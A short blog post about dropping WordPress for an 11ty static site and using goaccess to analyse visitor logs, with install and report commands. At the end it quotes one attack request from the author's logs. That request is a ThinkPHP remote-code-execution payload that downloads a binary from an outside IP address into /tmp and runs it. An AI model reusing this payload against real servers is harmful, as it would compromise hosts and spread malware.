Web Visitors Analysis

I was implemented website with WordPress, but I hate the complex dashboard and infinite plugins update notifications. So then I start using static website with 11ty.

However, I still want to know the visitors information. So I found goaccess, it's a real-time web log analyzer and interactive viewer that runs in a terminal or through your browser.

Installation

Ubuntu

sudo apt install goaccess

macOS

brew install goaccess

Usage

Generate report

goaccess access.log -o report.html --log-format=COMBINED

Start web server

goaccess access.log -o report.html --log-format=COMBINED --real-time-html

Then you can visit /web/yourpath/report.html to see the report.


The thing suprise me is my website got some attacks such like this

/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ';wget http://81.161.229.185/dpd.x86 -O /tmp/.YBot; chmod 777 /tmp/.YBot; /tmp/.YBot thinkphp.selfrep';

← Back to all posts